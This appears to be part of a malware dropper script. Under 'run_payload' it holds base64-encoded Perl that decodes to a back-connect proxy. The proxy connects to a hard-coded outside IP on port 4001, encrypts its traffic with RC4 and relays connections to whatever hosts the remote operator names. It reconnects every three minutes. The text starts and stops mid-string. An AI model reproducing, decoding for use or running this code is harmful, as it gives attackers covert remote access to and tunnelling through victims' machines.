vbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_7.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTU2JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0